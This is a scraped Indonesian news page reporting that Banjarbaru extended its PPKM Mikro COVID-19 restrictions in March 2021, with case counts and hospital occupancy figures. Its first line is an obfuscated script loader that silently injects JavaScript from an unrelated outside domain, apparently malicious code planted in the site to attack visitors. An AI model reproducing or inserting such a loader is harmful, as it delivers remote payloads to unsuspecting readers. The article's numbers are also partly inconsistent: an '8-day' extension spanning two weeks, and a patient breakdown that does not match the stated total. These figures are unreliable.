(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru kembali memperpanjang masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro.
Berdasarkan surat edaran Nomor 300/3/KUM/2021 yang ditandatangani Wali Kota Banjarbaru Aditya Mufti Ariffin, masa PPKM Mikro diperpanjang selama 8 hari. Atau tepatnya dari tanggal 23 Maret sampai dengan 5 April mendatang.
Dengan begitu pula, artinya ketentuan bahwa seluruh tempat hiburan, tempat makan dan perbelanjaan, maupun fasilitas publik, hanya diperbolehkan buka sampai pukul 21.00 Wita.
Adapun dengan perpanjangan ini maka PPKM Mikro di Banjarbaru telah resmi memasuki jilid ketiga. Dimana kebijakan sebelumnya Pemko menargetkan pembatasan mobilitas masyarakat berakhir pada 22 Maret.
Lonjakan kasus Covid-19 di Banjarbaru memang terus berlangsung. Menurut data Satuan Tugas Covid-19 Banjarbaru pada Selasa (24/3/2021) kemarin, tercatat ada 21 kasus baru yang teridentifikasi. Bersamaan juga tercatat adanya 1 kasus kematian.
PPKM Mikro sendiri diterapkan demi mengendalikan angka kasus baru Covid-19. Selama berjalannya kebijakan ini, Pemko menggelar patroli penertiban para pelaku usaha maupun kelompok masyarakat yang beraktivitas di atas waktu yang ditentukan.
Semisalnya pada akhir pekan lalu, dimana banyak pelaku usaha yang terjaring masih beroperasional di atas pukul 21.00 Wita. Mengharuskan Pemko yang turut menggandeng TNI Polri memberikan sanksi teguran keras hingga pelaksanaan swab antigen di tempat.
Seperti yang terjadi di Rumah Sakit Daerah (RSD) Idaman Banjarbaru, terjadi lonjakan pasien Covid-19 yang membuat pihaknya harus menambang ruang perawatan khusus pasien. Kondisi itu telah terjadi sejak dalam sepekan terakhir.
“Ruang Parkit, Kenari, dan Gelatik, yang selama ini kita fungsikan sebagai tempat dirawatnya pasien Covid-19 sudah terisi penuh. Atas kondisi ini, kemarin kami mulai mengaktifkan ruang Kaswari sebagai ruang cadangan,” ujar Kepala Bagian Tata Usaha RSD Idaman, M Firmansyah,, Rabu (24/3/2021) siang.
Tercatat hingga hari Rabu 24 Maret 2021 ada 47 pasien yang dirawat di RSD Idaman Banjarbaru. Status mereka di antaranya, 30 pasien terkonfirmasi positif, 14 pasien berstatus probable, dan 13 pasien sisanya berstatus suspect. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.